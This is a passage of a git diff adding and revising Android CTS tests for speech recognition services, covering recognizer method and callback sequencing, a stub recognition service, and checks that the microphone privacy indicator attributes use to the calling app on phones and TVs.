+        mActivity = mActivityTestRule.getActivity();
+        mActivity.init(isOnDeviceTest(), customRecognizer());
+    }
+
+    @Test
+    public void testStartListening() throws Throwable {
+        setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.startListening();
+        try {
+            // startListening() will call noteProxyOpNoTrow(), if the permission check pass then the
+            // RecognitionService.onStartListening() will be called. Otherwise, a TimeoutException
+            // will be thrown.
+            assertThat(mActivity.mCountDownLatch.await(WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            assertWithMessage("onStartListening() not called. " + e).fail();
+        }
+        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+                );
+    }
+
+    /** Tests that stopListening() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_stopListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_ERROR)
+                );
+    }
+
+    /** Tests that cancel() is ignored after results(). */
+    @Test
+    public void sequenceTest_startListening_results_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    /** Tests that we can kick off execution again after results(). */
+    @Test
+    public void sequenceTest_startListening_results_startListening_results() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_RESULTS,
+                        CALLBACK_METHOD_RESULTS)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_startListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_destroy_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, false),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    private void executeSequenceTest(
+            List<RecognizerMethod> recognizerMethodsToCall,
+            List<CallbackMethod> callbackMethodInstructions,
+            List<Boolean> expectedRecognizerServiceMethodsToPropagate,
+            List<CallbackMethod> expectedClientCallbackMethods) {
+        setCurrentRecognizer(IN_PACKAGE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.mCallbackMethodsInvoked.clear();
+        CtsRecognitionService.sInvokedRecognizerMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.addAll(callbackMethodInstructions);
+
+        List<RecognizerMethod> expectedServiceMethods = new ArrayList<>();
+
+        for (int i = 0; i < recognizerMethodsToCall.size(); i++) {
+            RecognizerMethod recognizerMethod = recognizerMethodsToCall.get(i);
+            Log.i(TAG, "Sending service method " + recognizerMethod.name());
+
+            switch (recognizerMethod) {
+                case RECOGNIZER_METHOD_UNSPECIFIED:
+                    fail();
+                    break;
+                case RECOGNIZER_METHOD_START_LISTENING:
+                    mActivity.startListening(START_LISTENING_INTENT);
+                    break;
+                case RECOGNIZER_METHOD_STOP_LISTENING:
+                    mActivity.stopListening();
+                    break;
+                case RECOGNIZER_METHOD_CANCEL:
+                    mActivity.cancel();
+                    break;
+                case RECOGNIZER_METHOD_DESTROY:
+                    mActivity.destroyRecognizer();
+                    break;
+                default:
+                    fail();
+            }
+
+            if (expectedRecognizerServiceMethodsToPropagate.get(i)) {
+                expectedServiceMethods.add(
+                        RECOGNIZER_METHOD_DESTROY != recognizerMethod
+                                ? recognizerMethod
+                                : RECOGNIZER_METHOD_CANCEL);
+                PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                        () -> CtsRecognitionService.sInvokedRecognizerMethods.size()
+                                == expectedServiceMethods.size());
+            }
+        }
+
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> CtsRecognitionService.sInstructedCallbackMethods.isEmpty());
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> mActivity.mCallbackMethodsInvoked.size()
+                        >= expectedClientCallbackMethods.size());
+
+        assertThat(CtsRecognitionService.sInvokedRecognizerMethods).isEqualTo(expectedServiceMethods);
+        assertThat(mActivity.mCallbackMethodsInvoked).isEqualTo(expectedClientCallbackMethods);
+        assertThat(CtsRecognitionService.sInstructedCallbackMethods).isEmpty();
+    }
+
+    private static void prepareDevice() {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
new file mode 100644
index 0000000..b8622f4
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum CallbackMethod {
+    CALLBACK_METHOD_UNSPECIFIED,
+    CALLBACK_METHOD_BEGINNING_OF_SPEECH,
+    CALLBACK_METHOD_BUFFER_RECEIVED,
+    CALLBACK_METHOD_END_OF_SPEECH,
+    CALLBACK_METHOD_ERROR,
+    CALLBACK_METHOD_PARTIAL_RESULTS,
+    CALLBACK_METHOD_READY_FOR_SPEECH,
+    CALLBACK_METHOD_RESULTS,
+    CALLBACK_METHOD_RMS_CHANGED
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
new file mode 100644
index 0000000..5627c9d
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.TestObjects.ERROR_CODE;
+import static android.voicerecognition.cts.TestObjects.PARTIAL_RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.READY_FOR_SPEECH_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RMS_CHANGED_VALUE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.os.RemoteException;
+import android.speech.RecognitionService;
+import android.util.Log;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class CtsRecognitionService extends RecognitionService {
+    private static final String TAG = CtsRecognitionService.class.getSimpleName();
+
+    public static List<RecognizerMethod> sInvokedRecognizerMethods = new ArrayList<>();
+    public static Queue<CallbackMethod> sInstructedCallbackMethods = new ArrayDeque<>();
+    public static AtomicBoolean sIsActive = new AtomicBoolean(false);
+
+    private final Random mRandom = new Random();
+
+    @Override
+    protected void onStartListening(Intent recognizerIntent, Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onStopListening(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onCancel(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_CANCEL);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    private void maybeRespond(Callback listener) {
+        if (sInstructedCallbackMethods.isEmpty()) {
+            return;
+        }
+
+        CallbackMethod callbackMethod = sInstructedCallbackMethods.poll();
+
+        Log.i(TAG, "Responding with callback method " + callbackMethod.name());
+
+        try {
+            switch (callbackMethod) {
+                case CALLBACK_METHOD_UNSPECIFIED:
+                    // ignore
+                    break;
+                case CALLBACK_METHOD_BEGINNING_OF_SPEECH:
+                    listener.beginningOfSpeech();
+                    break;
+                case CALLBACK_METHOD_BUFFER_RECEIVED:
+                    byte[] buffer = new byte[100];
+                    mRandom.nextBytes(buffer);
+                    listener.bufferReceived(buffer);
+                    break;
+                case CALLBACK_METHOD_END_OF_SPEECH:
+                    listener.endOfSpeech();
+                    break;
+                case CALLBACK_METHOD_ERROR:
+                    listener.error(ERROR_CODE);
+                    break;
+                case CALLBACK_METHOD_RESULTS:
+                    listener.results(RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_PARTIAL_RESULTS:
+                    listener.partialResults(PARTIAL_RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_READY_FOR_SPEECH:
+                    listener.readyForSpeech(READY_FOR_SPEECH_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_RMS_CHANGED:
+                    listener.rmsChanged(RMS_CHANGED_VALUE);
+                    break;
+                default:
+                    fail();
+            }
+        } catch (RemoteException e) {
+            fail();
+        }
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
new file mode 100644
index 0000000..b8e3116
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.Context;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+/** Recognition service tests for a default speech recognition service. */
+@RunWith(AndroidJUnit4.class)
+public final class DefaultRecognitionServiceTest extends AbstractRecognitionServiceTest {
+
+    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+    final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+
+    protected final Context mContext = InstrumentationRegistry.getTargetContext();
+    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
+            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+
+    @Rule
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
+            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
+                    mOriginalVoiceRecognizer);
+
+    @Override
+    protected void setCurrentRecognizer(String recognizer) {
+        runWithShellPermissionIdentity(
+                () -> Settings.Secure.putString(mContext.getContentResolver(),
+                        VOICE_RECOGNITION_SERVICE, recognizer));
+    }
+
+    @Override
+    boolean isOnDeviceTest() {
+        return false;
+    }
+
+    @Override
+    String customRecognizer() {
+        // We will use the default one (specified in secure settings).
+        return null;
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index 086c1c7..663d4bd 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -22,113 +22,105 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
-import android.app.compat.CompatChanges;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
-import android.os.Process;
 import android.os.SystemClock;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
-import android.text.TextUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.stream.Collectors;
+
 @RunWith(AndroidJUnit4.class)
 public final class RecognitionServiceMicIndicatorTest {
 
     private final String TAG = "RecognitionServiceMicIndicatorTest";
     // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
     private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
-    // same as Settings.Secure.VOICE_INTERACTION_SERVICE
-    private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+    // Same as PrivacyItemController DEFAULT_MIC_CAMERA
+    private final boolean DEFAULT_MIC_CAMERA = true;
     // Th notification privacy indicator
-    private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_CHIP_PACKAGE_NAME = "com.android.systemui";
     private final String PRIVACY_CHIP_ID = "privacy_chip";
+    private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_DIALOG_CONTENT_ID = "text";
+    private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
     // The cts app label
     private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
     // A simple test voice recognition service implementation
     private final String CTS_VOICE_RECOGNITION_SERVICE =
             "android.recognitionservice.service/android.recognitionservice.service"
                     + ".CtsVoiceRecognitionService";
-    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
     private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
     private final long UI_WAIT_TIMEOUT = 1000L;
-    private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
 
+    protected final Context mContext = InstrumentationRegistry.getTargetContext();
+    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
+            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
     private UiDevice mUiDevice;
     private SpeechRecognitionActivity mActivity;
-    private Context mContext;
-    private String mOriginalVoiceRecognizer;
     private String mCameraLabel;
-    private boolean mOriginalIndicatorsEnabledState;
-    private boolean mTestRunnung;
+    private String mOriginalIndicatorsState;
 
     @Rule
     public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
             new ActivityTestRule<>(SpeechRecognitionActivity.class);
 
+    @Rule
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
+            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
+                    mOriginalVoiceRecognizer);
+
     @Before
     public void setup() {
-        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
-        // the change is set to "false" if present.
-        assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
-                () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
-                        Process.SYSTEM_UID)));
-        final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
-        boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-        assumeFalse("Not run in the tv device", hasTvFeature);
-        mTestRunnung = true;
         prepareDevice();
-        mContext = InstrumentationRegistry.getTargetContext();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mActivity = mActivityTestRule.getActivity();
+        mActivity.init(false, null);
 
+        final PackageManager pm = mContext.getPackageManager();
         try {
             mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
                     pm).toString();
         } catch (PackageManager.NameNotFoundException e) {
         }
-        // get original indicator enable state
         runWithShellPermissionIdentity(() -> {
-            mOriginalIndicatorsEnabledState =
-                    DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+            mOriginalIndicatorsState =
+                    DeviceConfig.getProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG);
+            Log.v(TAG, "setup(): mOriginalIndicatorsState=" + mOriginalIndicatorsState);
         });
-        // get original voice services
-        mOriginalVoiceRecognizer = Settings.Secure.getString(
-                mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
-        // QPR is default disabled, we need to enable it
-        setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+        setIndicatorsEnabledState(Boolean.toString(true));
     }
 
     @After
     public void teardown() {
-        if (!mTestRunnung) {
-            return;
-        }
         // press back to close the dialog
-        mUiDevice.pressBack();
-        // restore to original voice services
-        setCurrentRecognizer(mOriginalVoiceRecognizer);
-        // restore to original indicator enable state
-        setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+        mUiDevice.pressHome();
+        // Restore original value.
+        setIndicatorsEnabledState(mOriginalIndicatorsState);
     }
 
     private void prepareDevice() {
@@ -138,17 +130,6 @@
         runShellCommand("wm dismiss-keyguard");
     }
 
-    private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
-        runWithShellPermissionIdentity(() -> {
-            final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
-                    INDICATORS_FLAG, false);
-            if (currentlyEnabled != shouldBeEnabled) {
-                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
-                        shouldBeEnabled.toString(), false);
-            }
-        });
-    }
-
     private void setCurrentRecognizer(String recognizer) {
         runWithShellPermissionIdentity(
                 () -> Settings.Secure.putString(mContext.getContentResolver(),
@@ -156,6 +137,13 @@
         mUiDevice.waitForIdle();
     }
 
+    private void setIndicatorsEnabledState(String enabled) {
+        runWithShellPermissionIdentity(
+                () -> DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                        enabled, false));
+        mUiDevice.waitForIdle();
+    }
+
     private boolean hasPreInstalledRecognizer(String packageName) {
         Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
         try {
@@ -173,18 +161,18 @@
     }
 
     @Test
-    public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+    public void testNonTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
         // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a untrusted case.
         setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
 
         // verify that the untrusted app cannot blame the calling app mic access
-        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
     }
 
     @Test
     public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
-        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // This is a workaround solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a trusted case.
         boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
                 getComponentPackageNameFromString(mOriginalVoiceRecognizer));
@@ -199,7 +187,27 @@
         // Start SpeechRecognition
         mActivity.startListening();
 
-        assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+        final PackageManager pm = mContext.getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            assertTvIndicatorsShown(trustVoiceService);
+        } else {
+            assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+        }
+    }
+
+    private void assertTvIndicatorsShown(boolean trustVoiceService) {
+        Log.v(TAG, "assertTvIndicatorsShown");
+        final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+        wmState.waitFor(
+                state -> {
+                    if (trustVoiceService) {
+                        return state.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE)
+                                && state.isWindowVisible(TV_MIC_INDICATOR_WINDOW_TITLE);
+                    } else {
+                        return !state.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE);
+                    }
+                },
+                "Waiting for the mic indicator window to come up");
     }
 
     private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
@@ -208,30 +216,44 @@
         SystemClock.sleep(UI_WAIT_TIMEOUT);
 
         final UiObject2 privacyChip =
-                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACKAGE_NAME, PRIVACY_CHIP_ID));
         assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
 
         // Click the privacy indicator and verify the calling app name display status in the dialog.
         privacyChip.click();
         SystemClock.sleep(UI_WAIT_TIMEOUT);
 
-        final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+        // Make sure dialog is shown
+        List<UiObject2> recognitionCallingAppLabels = mUiDevice.findObjects(
+                By.res(PRIVACY_DIALOG_PACKAGE_NAME, PRIVACY_DIALOG_CONTENT_ID));
+        assertWithMessage("No permission dialog shown after clicking  privacy chip.").that(
+                recognitionCallingAppLabels).isNotEmpty();
+
+        // get dialog content
+        final String dialogDescription =
+                recognitionCallingAppLabels
+                        .stream()
+                        .map(UiObject2::getText)
+                        .collect(Collectors.joining("\n"));
+        Log.i(TAG, "Retrieved dialog description " + dialogDescription);
         if (trustVoiceService) {
-            // Check trust recognizer can blame calling app mic permission
+            // Check trust recognizer can blame calling apmic permission
             assertWithMessage(
                     "Trusted voice recognition service can blame the calling app name " + APP_LABEL
-                            + ", but does not find it.").that(
-                    recognitionCallingAppLabel).isNotNull();
-            assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+                            + ", but does not find it.")
+                    .that(dialogDescription)
+                    .contains(APP_LABEL);
 
             // Check trust recognizer cannot blame non-mic permission
-            final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
             assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
-                    .that(cemaraLabel).isNull();
+                    .that(dialogDescription)
+                    .doesNotContain(mCameraLabel);
         } else {
             assertWithMessage(
                     "Untrusted voice recognition service cannot blame the calling app name "
-                            + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+                            + APP_LABEL)
+                    .that(dialogDescription)
+                    .doesNotContain(APP_LABEL);
         }
         // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
         SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
new file mode 100644
index 0000000..9f673d9
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
